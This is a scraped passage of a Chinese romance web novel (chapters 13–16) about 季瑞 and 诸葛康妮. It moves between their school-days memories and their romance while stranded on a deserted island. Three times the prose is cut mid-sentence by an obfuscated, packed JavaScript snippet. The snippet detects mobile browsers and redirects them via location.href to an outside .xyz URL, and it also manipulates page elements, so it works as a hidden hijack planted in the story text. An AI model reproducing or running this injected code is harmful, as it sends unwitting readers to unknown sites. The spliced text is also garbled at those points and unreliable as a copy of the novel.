诸葛康妮担心得已经哭出来了,急得像热锅上的蚂蚁。 “季瑞你不要吓人啊,你怎么了,你到底怎么了,现在要不要叫救护车啊,怎么办怎么办?我要怎么办。” 她探了探他的呼吸,汗水瞬间浸润了她的指尖。 季瑞强撑起自己最后一丝精神,抓住她的手。这时候应该是他最光明正大地一次握紧她的小手,声音仍旧是温温柔柔的。 “别担心,我没事。” 他又深深地叹了一口气,还是在强忍着自己的痛。 他知道,他最害怕诸葛康妮在自己面前哭,于是情绪终于崩塌,痛得眼泪不争气地从右脸滚下来,等到痛得昏天黑地,就差一点就要失去意识的时候,他再睁开眼,发现自己已经躺到担架上抬进急诊室,注射止痛药。 再到后来则是配合医生开的药方和ESWL手段进行碎石。 这是很小的概率,但是他中奖了,得了肾结石,还在课堂上发作了。 这几天都没能联系上康妮,他恢复过来后第一件事不是吃好吃的,也不是叫爸爸妈妈掀开病房的窗帘沐浴清晨的第一缕阳光。 而是要他那部滑盖手机。 “爸,妈,我的手机充过电了吗?” 季瑞直愣愣地问,朝着父亲母亲伸过手。 “充了充了。” 手机递到儿子手中,看见他第一时间登陆进自己的Q.Q账号,医院的网络不太好,他又第一时间切换屏幕,看看短信有没有收到诸葛康妮的信息。 【康妹】:季瑞你还好吗? 【康妹】:我很担心你。 【康妹】:第三天了,你怎么样,你还活着吗? 季瑞在看到这一条消息的时候没忍住“噗嗤”一声笑了,就这么打开九宫格输入法,在那损诸葛康妮乌鸦嘴乱说话。 他知道今天是工作日,康妮在学校正常上课,看不到手机,但仍然对这种隔空喊话的方式乐此不疲。 迟早要看到的。 【康妹】:我把你这几天的周考、月考、小测验的试卷全部都保留了,哦,还有上次你还没有订正完的六张数学试卷,全部用夹子夹好了,共计34张。 【康妹】:不要太感谢我。 【Jerry】:爷谢谢你。 【康妹】:你什么时候回来啊,你再不回来的话,你桌肚里面那包小浣熊干脆面我能吃吗?还有樱花可乐,我能喝吗? 【康妹】:好吧,其实我已经吃完了喝完了。 季瑞没心没肺地笑笑,他就知道,诸葛康妮这个小馋猫,趁人之危,逮着这个机会偷吃他私藏的零食。 【康妹】:你说过还要教我骑自行车,打弹弓的,快点回来! 【康妹】:希望某人还活着。 “废话,我当然还活着!” 看到诸葛康妮的聊天记录的最后一句话后,季瑞甚至激动地喊出声来,爸爸妈妈则一个扭头去了窗口办理缴费喝出院手续,另一个坐在他的床边替他削苹果。 季母感受到儿子坐在床上突然整出来个好大的动静,帮他按了按被子,坐过去,笑眯眯地询问:“什么人啊,好朋友。” “诸葛康妮。” “哦。”季母了然地笑笑。 “那个你喜欢的小女孩吗?” “嗯。” 他倒是大大方方,一点儿都不在家人面前避讳。 “我要回学校上课。” “可以啊,咱今天可以出院了。” 季母将苹果细致地削成一瓣儿一瓣儿的,递过去,儿子果然没心情吃什么水果,一门心思地把那几条信息翻来覆去地看。 “不,我现在就要回学校上课。” “有这么着急?等等,等你爸把手续办妥了,回去稍微休息下再去上学,不着急这一会儿。”季瑞母亲有些无奈,语气里甚至加上了些宠溺的审判,“平时也没见你学习这么认真过,天天净想着你那小同桌。” “是啊。” 季瑞一把掀开被子,脚上拖鞋都没踩上就开始胡乱一通地穿衣服。 没过多久他就遂了心愿般的回到了166班倒数第三排的座位上去。 终于能在康妮的身边坐下。 他身上还泛着淡淡的医院消毒药水味,医生开的药甚至都还没有吃够一整个疗程,他就跟个没事人一样出现在了康妮身边。 其实身体还是有些虚弱的,家里长辈总喜欢安慰他。 不要紧的,你们这么大的小孩身体本来就弱,容易生病,再说了,咱们陵城的孩子学习压力多大啊,天天就是做作业、卷子卷子、考试考试。 出现点什么小意外很正常。 所幸,在这样家庭环境下长大的小孩当然从小到大都很活泼开朗。 但是康妮这边就不一样的。 她今天貌似也出了点小意外。 这让季瑞觉得,自己今天回来得真对!真是一个非常正确的决定! 诸葛康妮的鼻炎犯了,很严重,用了两整包心相印都不管用,鼻涕眼泪纵横,鼻炎搞得头脑晕晕乎乎的,写卷子完全写不明白,代错了好几个数学公式。 他坐在她身边,像往常一样陪着她被留堂,却发现今天有一些古怪。 “喏,给你纸巾。” 他将纸巾叠得整整齐齐地递给诸葛康妮。 康妮接过去:“谢谢。” 她屁股跟焊接在蓝板凳上了似的,抬都不敢抬一下,等到全班同学都离开教室后她还是不动如山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812666|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 直到季瑞的父母也因为放心不下孩子,放学时到了166班级门口来接季瑞放学,康妮的屁股都没从椅子上抬起过一厘米。 季瑞这时候才一拍脑袋,跟突然想起来了什么一样,从自己的袋子里掏出那套刚洗干净的备用校服。 “康妮,你绑在身上。” “哦。” 小姑娘的脸和耳根在那一刹那突然扑上了粉晕,有些不太好意思地跟季瑞那一家子打了声招呼,又小心翼翼地挪动着屁股,将那套黑蓝白三色相间的校服绑着系在自己的腰上。 她看着一家三口其乐融融地消失在走廊上。 低头看了一眼系在身上的那件,季瑞的校服。接着又看了一眼桌肚里留下来的那一件,又是一件新的。 开学初他就买了三套校服。 通常学生们会买两套,一换一洗,很合适,季瑞偏偏多买一套。 其实是自从康妮上初二那年起初潮后,她就能经常看见季瑞的桌肚里会存放出来一套多出来的校服外套。 康妮的屁股总跟染了大红色的油彩一样。 一来月经就开始出洋相。 弄得椅子上都是。 不过只要季瑞在,她就能安安心心地系着宽大的校服跑到厕所里换裤子和卫生巾。 季瑞从来不明说,也不需要说得太明白,只需要在恰当地时机把那套干净的,多出来的“备份”校服外套从桌肚里掏出来,康妮就会很自然地接过去,就像现在。 她躲在卫生间,腰上系着季瑞的校服。 男士宽大的袖子能够编成一道漂亮的绳结,绑在腰间成了一种说不清道不明的街头时尚。 每每用完之后,诸葛康妮则会小心地将这套校服叠整齐,放进季瑞的课桌里,以免被路过的同学发现,继而指认她这种行为是在早恋。 然而诸葛康妮每次都想着,下回……下回一定要记得带上自己的冬季校服,但是每次都不记得。 窗外的雨水嘀哩哒啦从窗台上跳着舞蹦到废弃教室里面,康妮抬眼看了看窗外,好久都没有见过这么圆的月亮。 是三月的满月。 月亮的光映照下来,澄澈温润,不知从什么时候开始,季瑞的目光就一直停留在她身上。他好像在看她的眼睛。 “看我干嘛?” 诸葛康妮有些莫名其妙的。 “没干嘛。” 季瑞尾调轻快,略微上扬,炙热的目光并未转移。 他撑着头躺在那里,只要康妮朝他看过来,他就友好灿烂地笑笑。 这时候天色已晚,他们正躲在这个临时窝点避雨,准备睡觉。 康妮看到坐卧在黑板底下的季瑞,速干背心被火烘干了,腹部线条在呼吸间起起伏伏,仅仅盯了一眼,就立刻失了神,掉转目光,让自己冷静下来。 太奇怪了。 在这样的情境之下。 她抬头看了看月亮,渴望从这样干净的磁场里被净化,赶紧失去那些大胆又放肆的念头。 但是深夜很冷。 这座海岛好冷好寂寥,除了那些海洋生物和植被、野兽、花鸟虫鱼之外,只剩下他们两个人,其中一个则是自己认识了十几年的老熟人。 是个男人。 14. 14 掌纹 “冷吗康妮?我看你在发抖。” 季瑞好像一直在观察她,似乎也没有一丝睡意的,就这样默默地盯着她看。其实这里也没什么值得看的东西。 两个人只能在无限闲暇、百无聊赖的时间里观察着彼此。 “没有,不冷。” 她这才察觉到自己行为的异常,接过季瑞递来的那件在政教处搜来的旧毯子,简单清洗后,干干净净的,正好能当被子用。 这时候仅仅盖在诸葛康妮一个人的身上。 篝火堆堆火焰离她挺近,燃烧着,灼热着她躁动不安的心。 季瑞竟然自然而然地忽然坐到了她身边,带起一阵风,漾得她心里一激灵。 他端坐在她身边,将整张毛毯盖在两个人的身上。 毛毯形成一个小山包,盖在山包里边的时候,微弱的一点儿火苗的光透进来,勉强能看得见两个人的面部轮廓。 偶然一个动作,竟让他发觉康妮的身体很热。 随后,他大着胆子伸手轻轻撩过她的发丝,最终还是没忍住用右手抚摸过她滚烫的面颊,最后感受到她喷薄的呼吸近在咫尺,均匀地落在他的鼻息之下。 那片柔软猝不及防地贴近,他彻底失去防线,沦陷其中,并大胆试探,尝试攻城掠地。 或许是这片漆黑给了两人更多的可能,这个吻蔓延了很久,直至两人的情绪高涨,抵达了一个又一个峰巅。 短暂的停歇之时,诸葛康妮终于忍不住问了那句话。 “你有过吗?” 黑暗中的她格外有胆量,她问得模棱两可,其实挺露骨。 季瑞装作不明白的样子,在黑暗中动作灵巧地捏了捏诸葛康妮的鼻子,怨声载道:“说什么呢。” “那你刚才在跟我做什么?”康妮再度凑近。 “你明明知道。” 她凑近他的耳廓,问:“知道什么?” 直到手腕被用力地攥住,季瑞希望她别这么过火,否则他也不清楚在这样的荒岛上能发生什么样离谱又荒唐的错事。 他并不清楚诸葛康妮的心意,或许只是她一时上头。 孤男寡女的荒岛,不用他去猜,他早该知道时间长了会发生什么样的事。 只是他始终抱有能够离开这里的念头,不知道诸葛康妮有一天真的从这个荒岛上获救了,重新回到自己原有的生活当中,会是什么样。 会不会为今天的所做的一切而后悔。 “我没有过。” 他最终还是承认了。 不过这话说完后,康妮就垂下手,默默地将毯子重新盖在身上,躺下来,思绪万千。 真好,真幸运。 对于已经步入职场又重归校园的人来说,譬如季瑞,这是一件很难得的事情。有时候不知道是该高兴还是难过。 更不敢判定真假。 但季瑞是一个从小到大都绝对不会讲假话的男孩子。 诸葛康妮有些为自己感到难过。 “你知道吗?” 季瑞重新躺回了一副看星星的姿势,很耐心,在那里像解释上元节的灯笼谜底一样表达自己的情感。 “康妮,这么多年来,我喜欢的一直是你。很天真吧。” “人们常说,不要试图去预判自己能够和某个人共度余生,老天有情,命运能将大家带到哪里就是哪里。如果时运不济,有缘无份,人就应当遵循天命,爱,自有天意。” “能重新见到你,已经很幸运了。”他补充。 “可是困在这里出不去,如果哪一天暴风雨来了,我们找不到食物,还是会饿死或者困死在这个鸟不拉屎的地方,这很不幸。” 季瑞爽朗地笑了下:“能和你死在一起还不幸运吗?” “你真纯爱。” 她翻过身来冲着他说,却不敢看他的眼睛,怕被他窥探到某些浓稠而不清白的小心思,怕被他看穿。 “你好像对我有点儿欲望。” “胡说。” 她强行挽尊。 “刚才是你主动亲的我。”他毫不留情地拆穿。 诸葛康妮被这句话呛得无从抵赖,只好默默回嘴:“好吧,可是你刚才那个样子,看上去真的不像是没有过的样子。” “你的意思是我技术不错喽?” 诸葛康妮的脸红透了,烫得人发晕,突然就背过身去,不讲话了。 篝火堆燃尽,也该到了每日在荒岛上休憩的深夜时光。月晖在火光消失的时候变得格外洁净和明亮,就这样照映在俩人的身上。 其实康妮没睡着,当她想再度翻身过去找季瑞讲话,就发现身后被一块温暖结实的胸膛贴近了,一股木生调的体香袭上来,揉着男人低沉压制的气息一起,将她的腰松松地拥揽过来,下巴抵在她的肩胛骨上。 他从背后温柔地抱住了她。 这是从未有过的,舒心切意的安全感。 肌肤的温度很快交融,人瞬间变得非常热,很暖和,安心得要命。这一切完全不突兀,就像是原本就该发生的事情一样理所应当,心安理得。 雨夜,头顶是篝火燃尽的废柴的枯燥味儿,月光洒在眼皮上,即使躺在这所废弃学校的教室里头也能想到那一句“满船清梦压星河”。 此刻,荡漾在当初那艘原本驶向山明岛的船上一样。 躺在船里,摇摇晃晃。 这艘船带着他们驶向了更远的前方,不久后,天空中黑云倾盖,暴雨如注。康妮在这样的噩梦中再度醒来。 帆船事故那天的场景在历历在目,镌刻于心,她几乎每天晚上都要做失事的噩梦。 被无情冰冷的海浪卷进船底,和渔夫,朋友们彻底失去联系,一个人沉浸在灰渍渍的深海之中。 被淹死,失去呼吸。 在无边的孤寂和痛苦之中慢慢失去自己……最宝贵的生命。 她靠在季瑞的身上,脚底猛地一踩空,身躯一震,从这场噩梦之中惊醒,身后人迅速察觉到她的异常。 季瑞将诸葛康妮抱紧。 滚烫的体温将她覆盖,将她那颗坠落悬崖的心兜住。 “活着呢,小讨厌委员。” 他安抚着揉了揉她的脑袋。 真实的触摸感如约而至,现实的一切涌入脑海。 这句话夹杂着若有似无的调侃意味,有些冷幽默。 这时候两人坐起身来,很认真的讨论。 “我们真的能逃出去吗?会有那么一天吗?我现在不确定了。” 季瑞对比起来倒是显得格外洒脱:“搞得像你之前确定能离开这里似的,这本身就是说不准的事。” “白天继续去赶海吗?”她问。 “当然。累了要睡觉休息,饿了要捕鱼吃饭,冷了要生柴取暖……” 后边好像还有一句话要说,但他终止了,余光轻轻带过她雪白骨感的双脚,唇边一抹笑意味深长。 季瑞的手骨骼分明,修长白皙,不过热爱各类极限运动的习惯让他的手心显得有些粗粝。 但……在康妮的印象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812667|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当中。 十几年前。 那该是一个肉团团的青春期的男孩的手。 “翻过来!你翻过来嘛!” 小姑娘讲话时拖着长长的尾音,有些嗔怪耍无赖的样子,非要看对面同桌的手掌心,也不知道究竟有什么好看的。 “那你看。” 正正地摆放在诸葛康妮的面前,跟坐在审讯座里边准备上拷似的。 他知道诸葛康妮这是什么意思。 想看他的掌纹。 他把手放在桌子上,一开始安安稳稳放那儿不动,任诸葛康妮看,还没让人家看一会儿就开始在桌面上乱动。 跟故意逗人家玩儿似。 左边晃来,右边晃去。 “别动啦!” 康妮发火时还是会让人觉得有些嗲气,季瑞耳中尤其是这样。其实不论她说什么话,他都觉得她就像在撒娇一样。 什么是撒娇卖乖的最高境界,那就是听诸葛康妮在那里说“我讨厌你”。 可惜,他没办法回应她——“喜欢”。 “我讨厌你!”她叫唤。 “哦,你又讨厌我了。” 季瑞扬唇一笑,看上去有些无奈,空出另外半只手端起矿泉水瓶递给诸葛康妮,让她别上火,先喝口水。 矿泉水瓶盖是下巴颏给旋开的,有点小装。 “你再这样我不和你玩了,讨厌你。”她鼓气。 “班委会成员里面什么时候多了个小讨厌委员啊?” 诸葛康妮不说话,假装听不见他的碎嘴发言,认认真真地坐在那里看季瑞同学的掌纹。 “生命线,事业线,嗯!这叫爱情线。” “你刚才说,不和我玩儿了,那你这是在干什么?” 季瑞抛过来一个略带“挑衅”的眼神,美滋滋的。 “我在跟你假玩。”康妮一本正经。 他坐在位置上爆发出一个爽朗的笑。 接着赶紧捂住嘴,快速翻到今天的数学试卷,在那里认认真真地代入公式,画辅助线,计算答案。 最终还是越想越忍不住,尤其是自己的另外半只手还被诸葛康妮攥住不放,越是想憋笑就越忍不住笑。 泄了气的皮球似的,笑声一点儿一点儿地往外蹦。 笑得岔气。 他努力控制着自己的表情,在大课间尽量维持着自己“认真学习”“天天向上”的人设,以免老班突然出现在教室的后门,把他们两个“臭皮蛋”一网打尽。 “你的爱情线很单一。” 诸葛康妮摸了摸下巴上不存在的白须,非常老成地压低了自己的嗓门,“你的爱情线一点儿分叉也没有,是一个专一且长情的人。” 季瑞的心跳漏了拍,有种被“玄学大师”押中了的心虚感。 “生命线很长!活得久。”她又说。 “我谢谢你!” 呼。 终于有个别的话题能让他缓会儿,从而插科打诨。 “哇,你的爱情线,真的,真的好干净啊,为什么一点儿分叉也没有,就这样垂直地划过来了,从起点到终点都没有一丁点分支耶。” 康妮惊叹道。 她的就不一样,她的掌纹有点乱,爱情线也七横八竖的。 看了其他同学的,也各有不同。 只有季瑞。 他从始至终都是干干净净的。 只能爱上一个人,也只能反反复复掉进同一个人的爱情漩涡当中。 从一而终。 15. 15 红笔订正 康妮对于掌纹卜命其实一知半解。 但关于看小说,她是行家里手。 以至于季瑞在课间提议,要不然把课桌掏一行洞,方便诸葛康妮用来看课外读物和言情小说。 “开个洞?你可真敢想,我怕老王看到了得把我皮剥了。” 诸葛康妮光是提到班主任,就能想象到班主任推着厚重的眼镜框,站在166班级门口放哨,镜片闪着凛冽的寒光刺中她双眼的画面。 那将会是一个厚重的数学教辅书打在她的脑袋瓜上。 接着是罚站一上午。 她没必要为了看小说做一件这么冒险的事。 不过,说回看小说,诸葛康妮很在行。 漫画、绘本、杂志、报纸、小说、名著,只要是涵盖新鲜有趣剧情和故事的纸质书,都将被诸葛康妮收入囊中。 尤其是初中阶段,诸葛康妮的家庭经济不错,妈妈做生意发了迹,她的零花钱也就多了起来。 至于怎么去用。 那当然是买小说来看。 “诸葛康妮,看什么呢?这么入迷?”季瑞伸手就要像往常一样去抢诸葛康妮手中的那本小说。 但今天貌似和以往有些不一样,诸葛康妮“抗拒”的幅度非常大。因为她看的既不是《知音漫客》、《飒漫画》,也不是《小小姐》和《意林》,更不是什么《小说绘》,而是一本有些见不得人的书。 季瑞在大课间的时候默默关注着诸葛康妮的桌肚。 小说的封面,只需要轻轻扯一扯那堆盖在上面的试卷,就能看到那几本小说的标题。 “《妹妹公主迷糊虫》、《我不是芙蓉姐姐》、《霸道冷少爱上我》。” 季瑞停下念叨着书名的唇语,没忍住笑,“噗嗤”蹦出来一声,强压下去,脑子里回想起来,上个礼拜她看的还是《蒙马特遗书》、《情迷翡冷翠》和《潮骚》。这个礼拜就变成了这种小说。 其实他也有偷偷听过班级里的女生们在一起讨论,听说,这种书往往会涉及一些比较露骨的描写和情节。 往往语言更直接、直白,有趣。 其实就是最早的“网络文学”。 班级语文老师在今天上午的最后一节语文课开展了读书会活动,作为诸葛康妮的同桌,他顺理成章地成为了第一个和诸葛康妮沟通交流的人。 “这个看过没?”康妮兴高采烈地问。 “没。”季瑞摇摇头。 “《钢铁是怎样炼成的》?这个呢?这个总看过吧!”她拍拍语文课本。 “看过,但是没看过原著。” “好吧。我有好多好多爱看的书,可是你都说没有看过,我好挫败。”诸葛康妮趴在桌面上,胳膊肘顶着下巴,粉扑扑的脸蛋从侧后边看就像《蜡笔小新》里的小主人公,看上去很可爱,呆萌呆萌的。 “我会慢慢看的。虽然我不太喜欢看书。”他极为认真地说。 从读书会的这天开始,从这一缕阳光照耀在他的脸上。 这一刻,季瑞开始爱上文学。 汩汩清凉的自来水从十二中的管道里流出来,被男孩子捧在掌心,打在自己的脸上,很清爽,他打开书包,看到诸葛康妮塞进他包里的那几本“违禁品”,笑了。 这些书说是让他帮忙保管来着。 …… “好凉快,不过也有点奇怪,这里不是个废弃学校吗,怎么还有自来水管能冒水?” 康妮提溜着废弃学校里搜索来的小水桶站在这儿接水,准备静置一会。看到季瑞在那里捧着水洗脸。 洗得清清爽爽,撑在水池沿大口呼吸透着气。 诸葛康妮想到昨晚季瑞临睡前在他们驻扎的教室里,往黑板上写的那一些经典文学的著作名。 卡夫卡、加缪、奥斯特洛夫斯基、安德烈·纪德…… 中国作家就是张爱玲、王小波、简禎、余华…… “你阅读量挺大。”她突然这么说。 “彼此彼此。” “不是从小就不爱看书吗?不是说让你看书不如给你哐哐来上两拳,骑个几百公里的车也不要坐下来在图书馆看书吗?” 她在揶揄他,越说越夸张。 “你猜?” 她猜不到。 但是很清楚的是,长大后,彼此之间拥有了更多的共同话题。 他们每晚畅所欲言,谈星星,看月亮,在荒岛上活成了琼瑶的电视剧,完全没有一点艰难求生的胆怯。 反而很洒脱。 这叫破罐子破摔,赤脚在这座无人的小岛上走得无畏大方。 康妮躺在废弃学校教学楼的天台上吹着海风,晒着太阳,人吃饱喝足之后总是想睡觉。 今天吃的是海带和鱼。 已经说不清吃了多少天这样的食物了,不过好在这里总能自给自足,不至于饿死。能活下来,已经是莫大的幸运。 她躺下来,忽然莫名其妙地笑了,季瑞躺在她身边,被她的笑声弄醒,刚开始还觉得奇怪,不过很快就反应过来是怎么回事了。 他问:“你在笑一个初中同学吗?” 诸葛康妮在听到这话的一瞬间忽然清醒,惊叹:“你怎么知道??!你在我脑袋里安监控了?” “笑什么?笑陆京辉?” 大夏天,季瑞抻了抻校服的袖口。 这会天气不冷不热,秋季校服里穿的是一件灰色的速干老头衫,长袖外套穿在外边不太舒服,只能将袖口撸上去。 康妮用胳膊肘怼了怼身边的人,“噗”得笑出声。 下课铃突然响了。 康妮在下课铃的铃声当中笑得很开心,铃声的间隙可以感受到她笑得很开心很大声很清脆。 看见康妮笑,这是很难得的,百年一遇的场面。 “你怎么知道的!??” “我当然知道。”季瑞扬扬唇。 他猜,康妮想的是今天陆京辉跑去隔壁小组追求女神被当众拒绝,还被调侃是矮冬瓜这件事。 当然,好朋友之间偷偷在背后嘲笑别人,这件事,根本用不着开口。 她一笑,他就懂。 看着她笑,只这么一刹那,就晃了神。 “唉,唉唉!看啥呢,我脸上有字儿?”诸葛康妮不解,但随后伸出自己的手,掌心朝上,大概是在找季瑞要东西。 “红笔有吗?借我用用?”她说。 诸葛康妮的指尖粉粉的,指缘修剪得很干净,看了让人赏心悦目,对季瑞来说,这是她微不足道的可爱源之一。 他趁着诸葛康妮朝他要东西的时候刻意多看了两眼,觉得她有点儿像予取予求讨要罐头的粉爪小猫。 “要什么?没听清。”他伸出手来拦在耳边,一脸欠样。 “红笔!” 诸葛康妮顺手就朝着他的课桌桌肚里发起“突然袭击”。 季瑞眼疾手快,很快将自己的铅笔袋攥在手里,举高。 “说?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812668|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要找我要啥?” “我要红笔。” 康妮累了,垂头耷脑地趴在课桌上,仍举高手来抢季瑞的铅笔袋,但她现在已经够不到了,季瑞已经发育了,长高了,是个大男孩了。 “求我。” “求求你。”康妮顺着他的话说。 “态度一般,不借。”他得意地拽着笑。 “烦人。”康妮的耐心开始一点点消失,“你好讨厌啊,不就一支红笔吗。谁稀罕要你的!” “那你今天用黑笔订正喽。” 季瑞拿着自己的红笔给自己的数学试卷写上了正确答案,在诸葛康妮看来,这就是赤裸裸地挑衅。 前排的女同学章穗突然“哐哐”拍了两下季瑞的桌子。 大大咧咧地问:“唉,哥们儿,借个红笔。” 季瑞也大大方方地递过去。 一句多余话没说。 看上去他和章穗关系很好。 再者说,他从来没捉弄过章穗,康妮想,可能自己看上去确实太好欺负了。 想到这里,诸葛康妮更生气了,掉了几滴眼泪在课本上,趴在位置上将泪痕遮住,希望在别人眼里看上去没什么不对劲。 再起身的时候,发现那支百乐牌红笔已经压在自己胳膊肘下边了。 而季瑞用的是一支蓝色的笔。 他用的蓝笔订正。 “看我干什么?” 他疑惑。 紧接着,诸葛康妮以迅雷不及掩耳之势翻开他的数学作业本,发现将近大部分页面都是一大片一大片蓝色的订正痕迹。 深色的蓝,字体不甚美观,但是订正的部分非常认真。 “咳咳,怎么都是蓝色的订正笔迹啊???” 诸葛康妮明知故问。 “上次那支百乐p500红笔呢?哪去了??哪个小狗拿走了?” 他挑了挑眉,故意这样说。 诸葛康妮一阵心虚,但是手里攥着季瑞刚刚塞到自己胳膊肘下边的红笔,今天的书写竟然意外地丝滑,连心情也跟着变好了。 “哦那个呀,放家里忘记带了。”康妮实话实讲,眼睛偷偷瞟了下身边的同桌。 “还有那支中华上下五千年的红笔,还有一只按动笔……还有……” 不待季瑞讲完,诸葛康妮已经在座位上俏皮地笑起来。 笑的时候露出一排洁白牙齿,暖融融的甜。 她似乎也为自己这种丢三忘四,“借”东西不还的行为感觉到有些莫名的好笑,于是刚才的气儿也消了。 反倒是她自己,现在有点不好意思了。 “那我放学请你喝冰可乐好吗?” 她晃动着手上的红笔,对同桌发出请喝水的邀请。 “这还差不多。” 季瑞翻到上一页,老班最新批改的那一页,上面写了一行大大的“请使用红笔订正!!!”,三个大感叹号,力透纸背,甚至戳破了作业纸。 他自己也笑了,真是太作孽了。 都怪小迷糊蛋康妮。 第二天第三天。 诸葛康妮眨巴眨巴星星眼,跟个尾巴摇成螺旋桨的可爱小狗似的,双手合十一脸期盼地看着他。 “借我一支红笔。” “好哦。” 他伸了伸懒腰,松了松指间关节,骨节分明的手将那支早晨刚买的新红笔递过去,看着康妮高高兴兴地订正,笑。 “那我就用蓝笔订正吧。” 16. 16 班花 在这里,这座荒岛上。 时间被拉得很长,每一分每一秒都过得很慢。 废弃学校的黑板上,墙壁上,全都留下一串串密密麻麻的笔迹。 左边是康妮用红色粉笔写下来的类似日历一样的,一排排日期。 右边是季瑞用蓝色粉笔记录下每天日常。 捕鱼、摘野果、睡眠、洗漱、晒衣服…… 以及。 某些不得了的小暗号。 通常会由康妮在墙壁上以红粉笔画上一个五角星。 这个别样的小符号也意味着这件事的特殊性。 季瑞很清楚地知道,这是自己和康妮被困在荒岛的第十一天。 也正是从这一天开始,在墙壁上手写日历的日期下边。 排列了三颗红色小星星。 “再一次?” 这已经是诸葛康妮第三次跟他讲这样的话了。 季瑞有些不可思议地向后踉跄了一下,随后缓过神来,调侃对方。 “再一次?什么再一次?说清楚。” 他这话说着说着,身体就挪到了女方的身边,靠她很近,话语间带着若有似无的撩拨。 “你要再画一颗小红星吗?” 他松开了托住她纤细腰身的手,“没有鱼鳔了,明天再说吧。” …… 康妮翻身躺下去,百无聊赖中,人变得很焦虑,但是勾住季瑞衣服的时候,又变得很安心。 “我想出去。” “会的。”他回。 已经第十一天了。 很难想象,在一个和平年代,在一个法制健全,没有战争的国度,他们竟然会因为一场近乎荒诞的海难,被困在这个荒岛。 没有任何社交,无法使用电子设备,只能在失去时间感的极少数时候,打开手机 一切都近乎于原始生活。 唯一的快乐就是和季瑞谈天,谈那些小时候有趣的故事。 而聊到小时候,那种和现实世界没有脱轨的真实感便会油然而生。 要是一个人待在这里。 她想自己一定撑不下去。 又是这样空荡荡的一夜,周围悄寂无声,夜晚的月光照在人身上像是有了温度,又亮又灼热,充满吸引力。 情到浓时,她总是顾不及冲着季瑞的耳畔说些柔软撩拨的话。 只是这样问到他。 “我好看吗?” 在海岛的这些日子里,风吹日晒,没有洁面和乳霜,更没有能给肌肤添白增色的化妆品,女孩子最纯粹干净的皮肤,卷翘的睫毛和乱蓬蓬的头发,能显出一丝野性的美。 就像此刻。 季瑞顺着她的话笑了声,心里想的是。 要是换在十几年前,他绝对想不到面前的姑娘会是这个样子,简直就是一头匍匐在他身前的雌性野狼。 肆意狂浪,但颇具美感,让他欲罢不能。 “这个问题不是十几年前就回答过了吗?” “是吗?” 康妮停下动作,将手放在季瑞的脸庞,被一个突如其来的用力弄得惊慌失措,随后翻了个身,这回能够认认真真看着面前的人。 影影绰绰,恍恍惚惚。 树影斑驳,这又是一个令人期待的盛夏。 炎热的盛夏对于很多中学生来说有着十分特殊的意义,大家通常都说,因为中考、高考,还有每一个最能代表着青春记忆的暑假,都在这样的时间里。 这样的日子,承载了太多人的青春。 包括诸葛康妮手中的青春小说读物,悲伤喜悦、遗憾圆满、相离或者重逢。每一个故事都精彩得要命,陪伴她在盛夏季节的空调房里,度过了无数个五光十色的黑夜。 于是盛夏季节就成了最特别的。 这一定是一个很迷人的季节。 快放暑假了。 暑假前的月考刚刚结束不到三天,各个科目的试卷已经被老师们加班加点地改了出来,今天是放榜日。 166班班主任老王去外地培训,因此告假,没能第一时间带着成绩单张贴在本班级,于是大家就只能跟着大部队的脚步来到办公大楼的楼下,看那道长得望不到尽头的成绩榜。 诸葛康妮自然是非常默契地跟在季瑞的身后。 他们俩成绩相当。 而且是相当得非常诡异。 虽然各有偏科,偏得各有千秋。一个数学差,语文好;一个英语差,物理强;不过即使在细节上有这么多的不同,他们最后的成绩排名也一定会不出乎意料…… 果然。 康妮站在季瑞的身后,踮起脚来看榜。 她好像看到了季瑞的名字,但是看得还是不太清楚,身后的同学们推推搡搡,人又多,她被推着贴上了季瑞的后背。 女孩子发育期的胸不经意间贴上来,很自然,在校园里却显得格外禁忌。 “倏”一下。 他听见自己的脑袋里冒出来这种奇怪声音。 冒烟了,绝对是哪里出问题了,为什么心突然砰砰砰跳得飞快。他很紧张,幻想后面这个贴上来的人是诸葛康妮,又很害怕扭头来看的时候,发现这个人不是诸葛康妮。 总之很矛盾。 既欣喜又痛苦。 后背被人贴上的那一瞬间,他的大脑瞬间空白了,肌肉也开始变得紧绷。 太要命了,他知道今晚又得睡不着觉了。 青春期真是一个烦人的东西,他宁可自己不要做个青春期的男孩,他想平静下来,却完全没办法控制住自己的情绪。 “季瑞,我看到了,我38你37,我这次又又又又没考好!!!” 季瑞僵住了,跟座雕塑似的站在那里,动也不敢动,就回复了个“嗯嗯”,任由诸葛康妮贴着自己。 总觉得自己背后都开始发烫了。 他们明明是异性同学,这样明明非常不合适,但他却没有第一时间选择挪开,而是站在原位不动。 